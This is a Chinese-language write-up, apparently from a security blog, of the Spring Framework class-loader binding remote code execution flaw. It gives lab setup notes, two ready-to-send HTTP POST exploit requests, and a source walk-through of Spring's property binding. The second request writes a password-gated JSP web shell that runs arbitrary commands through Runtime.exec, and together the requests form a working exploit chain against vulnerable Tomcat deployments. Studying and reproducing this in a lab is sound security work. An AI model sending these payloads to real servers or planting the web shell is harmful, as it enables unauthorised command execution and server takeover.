一、环境需求

JDK9及其以上版本； 

使⽤了Spring-beans包；

 使⽤了Spring参数绑定； 

Spring参数绑定使⽤的是⾮基本参数类型，

二、环境搭建

https://www.o2oxy.cn/wp-content/uploads/2022/03/spring-RCE-.zip

直接解压使用IDEA 配合Tomcat 启动即可

三、漏洞利用

POST /news HTTP/1.1
Host: 192.168.66.101:8811
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 311

class.module.classLoader.resources.context.parent.pipeline.first.prefix=ddd2d&class.module.classLoader.resources.context.parent.pipeline.first.pattern=12&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

写入木马

POST /news HTTP/1.1
Host: 192.168.66.101:8811
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
suffix:%>//
c1:Runtime
c2:<%
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 670

class.module.classLoader.resources.context.parent.pipeline.first.prefix=ddd2d&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

四、漏洞分析

在绑定参数的地方打断点一步步跟进发现会从缓存中进行一个class 读取然后在

org.springframework.beans.AbstractNestablePropertyAccessor#processLocalProperty

    protected BeanWrapperImpl.BeanPropertyHandler getLocalPropertyHandler(String propertyName) {
        PropertyDescriptor pd = this.getCachedIntrospectionResults().getPropertyDescriptor(propertyName);
        return pd != null ? new BeanWrapperImpl.BeanPropertyHandler(pd) : null;
    }

这里应该是从缓存中直接获取到class 对象  processLocalProperty 进行一个修改。

    private void processLocalProperty(AbstractNestablePropertyAccessor.PropertyTokenHolder tokens, PropertyValue pv) {
        AbstractNestablePropertyAccessor.PropertyHandler ph = this.getLocalPropertyHandler(tokens.actualName);
        if (ph != null && ph.isWritable()) {
            Object oldValue = null;

            PropertyChangeEvent propertyChangeEvent;
            try {
                Object originalValue = pv.getValue();
                Object valueToApply = originalValue;
                if (!Boolean.FALSE.equals(pv.conversionNecessary)) {
                    if (pv.isConverted()) {
                        valueToApply = pv.getConvertedValue();
                    } else {
                        if (this.isExtractOldValueForEditor() && ph.isReadable()) {
                            try {
                                oldValue = ph.getValue();
                            } catch (Exception var8) {
                                Exception ex = var8;
                                if (var8 instanceof PrivilegedActionException) {
                                    ex = ((PrivilegedActionException)var8).getException();
                                }

                                if (logger.isDebugEnabled()) {
                                    logger.debug("Could not read previous value of property '" + this.nestedPath + tokens.canonicalName + "'", ex);
                                }
                            }
                        }

                        valueToApply = this.convertForProperty(tokens.canonicalName, oldValue, originalValue, ph.toTypeDescriptor());
                    }

                    pv.getOriginalPropertyValue().conversionNecessary = valueToApply != originalValue;
                }

                ph.setValue(valueToApply);
            } catch (TypeMismatchException var9) {
                throw var9;
            } catch (InvocationTargetException var10) {
                propertyChangeEvent = new PropertyChangeEvent(this.getRootInstance(), this.nestedPath + tokens.canonicalName, oldValue, pv.getValue());
                if (var10.getTargetException() instanceof ClassCastException) {
                    throw new TypeMismatchException(propertyChangeEvent, ph.getPropertyType(), var10.getTargetException());
                } else {
                    Throwable cause = var10.getTargetException();
                    if (cause instanceof UndeclaredThrowableException) {
                        cause = cause.getCause();
                    }

                    throw new MethodInvocationException(propertyChangeEvent, cause);
                }
            } catch (Exception var11) {
                propertyChangeEvent = new PropertyChangeEvent(this.getRootInstance(), this.nestedPath + tokens.canonicalName, oldValue, pv.getValue());
                throw new MethodInvocationException(propertyChangeEvent, var11);
            }
        } else if (pv.isOptional()) {
            if (logger.isDebugEnabled()) {
                logger.debug("Ignoring optional value for property '" + tokens.actualName + "' - property not found on bean class [" + this.getRootClass().getName() + "]");
            }

        } else {
            throw this.createNotWritablePropertyException(tokens.canonicalName);
        }
    }

参考：https://xz.aliyun.com/t/11129